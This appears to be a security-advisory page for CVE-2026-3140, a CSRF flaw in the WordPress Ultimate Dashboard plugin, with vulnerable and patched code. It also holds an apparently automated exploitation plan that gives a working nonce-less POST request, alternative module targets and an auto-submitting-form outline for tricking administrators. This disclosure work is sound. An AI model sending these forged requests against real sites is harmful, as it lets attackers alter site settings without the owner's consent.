CVE-2026-3140

Ultimate Dashboard <= 3.8.14 - Cross-Site Request Forgery to Module Activation/Deactivation

mediumCross-Site Request Forgery (CSRF)
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
3.8.15
Patched in
1d
Time to patch

Description

The Ultimate Dashboard plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 3.8.14. This is due to a flawed nonce validation conditional in the 'handle_module_actions' function. This makes it possible for unauthenticated attackers to toggle plugin modules on or off via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.8.14
PublishedApril 30, 2026
Last updatedMay 1, 2026
Affected pluginultimate-dashboard

What Changed in the Fix

Changes introduced in v3.8.15

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-3140 (Ultimate Dashboard CSRF) ## 1. Vulnerability Summary The **Ultimate Dashboard** plugin (<= 3.8.14) is vulnerable to **Cross-Site Request Forgery (CSRF)** due to a logic error in the nonce validation within the `handle_module_actions` function. The code i…

Show full research plan

Exploitation Research Plan: CVE-2026-3140 (Ultimate Dashboard CSRF)

1. Vulnerability Summary

The Ultimate Dashboard plugin (<= 3.8.14) is vulnerable to Cross-Site Request Forgery (CSRF) due to a logic error in the nonce validation within the handle_module_actions function. The code incorrectly allows requests to proceed if the nonce parameter is completely omitted. This allows an attacker to trick an authenticated administrator into activating or deactivating core plugin modules (like White Labeling or the Admin Menu Editor), potentially disrupting site administration or disabling security-related features.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • AJAX Action: udb_handle_module_actions
  • Vulnerable Function: Udb\Feature\Feature_Module::handle_module_actions
  • HTTP Method: POST
  • Authentication Required: Yes (must be triggered by a user with manage_options capability via CSRF).
  • Payload Parameter: name (module slug) and status (true/false).
  • Vulnerability Type: CSRF via Nonce Bypass (Conditional Logic Flaw).

3. Code Flow

  1. The plugin registers the AJAX action in modules/feature/class-feature-module.php:
    add_action( 'wp_ajax_udb_handle_module_actions', array( self::get_instance(), 'handle_module_actions' ) );
    
  2. When a request is sent to admin-ajax.php with action=udb_handle_module_actions, the handle_module_actions function is invoked.
  3. The function performs a check to validate the nonce:
    public function handle_module_actions() {
        if ( empty( $_POST ) || ( ! empty( $_POST['nonce'] ) && ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['nonce'] ) ), 'udb_module_nonce_action' ) ) ) {
            wp_send_json_error( __( 'Invalid nonce', 'ultimate-dashboard' ) );
        }
        // ...
    
  4. Logic Flaw: The conditional ( ! empty( $_POST['nonce'] ) && ! wp_verify_nonce(...) ) evaluates to false if $_POST['nonce'] is missing.
    • If nonce is provided and wrong: (true && true) -> Error.
    • If nonce is missing: (false && ...) -> Condition fails, the block is skipped, and the code proceeds.
  5. The function then checks for the user's capability (manage_options).
  6. Finally, it updates the udb_modules option:
    $saved_modules[ $name ] = $status;
    update_option( 'udb_modules', $saved_modules );
    

4. Nonce Acquisition Strategy

No nonce is required for exploitation.
The vulnerability exists specifically because the nonce check is bypassed when the nonce parameter is absent from the $_POST array.

5. Exploitation Strategy

To demonstrate the CSRF, we will perform a request that disables a visible module (e.g., white_label) while authenticated as an administrator.

Step-by-Step Plan:

  1. Preparation: Ensure the administrator is logged in.
  2. Payload Injection: Issue a POST request to admin-ajax.php without a nonce parameter.
  3. Target Module: white_label.
  4. Target Status: false (to deactivate).

HTTP Request (via http_request tool):

{
  "method": "POST",
  "url": "http://localhost:8080/wp-admin/admin-ajax.php",
  "headers": {
    "Content-Type": "application/x-www-form-urlencoded"
  },
  "body": "action=udb_handle_module_actions&name=white_label&status=false"
}

6. Test Data Setup

  1. Plugin State: Ensure Ultimate Dashboard version <= 3.8.14 is installed and active.
  2. Initial Configuration: By default, modules are enabled. We can verify this by checking the database option udb_modules.
  3. Administrator Session: The http_request must include valid admin cookies to simulate a CSRF attack success.

7. Expected Results

  • The server should respond with: {"success":true,"data":{"message":"Saved"}}.
  • If the exploit fails due to a fixed version, it would respond with an error related to "Invalid nonce" (though in this specific logic bug, the fixed version likely changed the || logic).

8. Verification Steps

After sending the HTTP request, verify the module status using wp-cli:

# Check the value of the udb_modules option
wp option get udb_modules --format=json

Success Condition: The JSON output should show "white_label":"false".

9. Alternative Approaches

If the white_label module is already disabled, target a different module identifier found in class-setup.php:

  • login_customizer
  • login_redirect
  • admin_pages
  • admin_menu_editor
  • admin_bar_editor

Example for admin_menu_editor:
action=udb_handle_module_actions&name=admin_menu_editor&status=false

Research Findings
Static analysis — not yet PoC-verified

Summary

The Ultimate Dashboard plugin for WordPress (<= 3.8.14) is vulnerable to Cross-Site Request Forgery (CSRF) because the module activation handler contains a flawed nonce check that is bypassed when the nonce parameter is missing. This allows an attacker to trick a site administrator into activating or deactivating core plugin modules, such as White Labeling or the Admin Menu Editor, by clicking on a malicious link.

Vulnerable Code

// modules/feature/class-feature-module.php line 117
public function handle_module_actions() {

	if ( empty( $_POST ) || ( ! empty( $_POST['nonce'] ) && ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['nonce'] ) ), 'udb_module_nonce_action' ) ) ) {
		wp_send_json_error( __( 'Invalid nonce', 'ultimate-dashboard' ) );
	}

---

// class-setup.php line 452
public function dismiss_review_notice() {

	if ( empty( $_POST['dismiss'] ) ) {
		wp_send_json_error( 'Invalid Request' );
	}

	update_option( 'review_notice_dismissed', 1 );
	wp_send_json_success( 'Review notice has been dismissed.' );

}

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/ultimate-dashboard/3.8.14/class-setup.php
+++ /home/deploy/wp-safety.org/data/plugin-versions/ultimate-dashboard/3.8.15/class-setup.php
@@ -452,12 +460,18 @@
 	public function dismiss_review_notice() {
 
+		$nonce = isset( $_POST['nonce'] ) ? sanitize_text_field( wp_unslash( $_POST['nonce'] ) ) : '';
+
+		if ( ! wp_verify_nonce( $nonce, 'udb_dismiss_notice' ) ) {
+			wp_send_json_error( __( 'Invalid token', 'ultimate-dashboard' ) );
+		}
+
 		if ( empty( $_POST['dismiss'] ) ) {
-			wp_send_json_error( 'Invalid Request' );
+			wp_send_json_error( __( 'Invalid request', 'ultimate-dashboard' ) );
 		}
 
--- /home/deploy/wp-safety.org/data/plugin-versions/ultimate-dashboard/3.8.14/modules/feature/class-feature-module.php
+++ /home/deploy/wp-safety.org/data/plugin-versions/ultimate-dashboard/3.8.15/modules/feature/class-feature-module.php
@@ -117,8 +117,10 @@
 	 */
 	public function handle_module_actions() {
 
-		if ( empty( $_POST ) || ( ! empty( $_POST['nonce'] ) && ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['nonce'] ) ), 'udb_module_nonce_action' ) ) ) {
-			wp_send_json_error( __( 'Invalid nonce', 'ultimate-dashboard' ) );
+		$nonce = isset( $_POST['nonce'] ) ? sanitize_text_field( wp_unslash( $_POST['nonce'] ) ) : '';
+
+		if ( ! wp_verify_nonce( $nonce, 'udb_module_nonce_action' ) ) {
+			wp_send_json_error( __( 'Invalid token', 'ultimate-dashboard' ) );
 		}

Exploit Outline

1. Identify the target module to toggle (e.g., 'white_label' or 'admin_menu_editor'). 2. Construct a CSRF payload targeting the WordPress AJAX endpoint '/wp-admin/admin-ajax.php'. 3. Format the POST request with the following parameters: 'action=udb_handle_module_actions', 'name=[module_slug]', and 'status=[true/false]'. 4. Crucially, omit the 'nonce' parameter entirely from the POST body to exploit the logic flaw in handle_module_actions() that skips verification when the nonce is absent. 5. Trick an authenticated administrator with 'manage_options' capabilities into visiting a malicious site or clicking a link that triggers this background request via an auto-submitting form or script.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.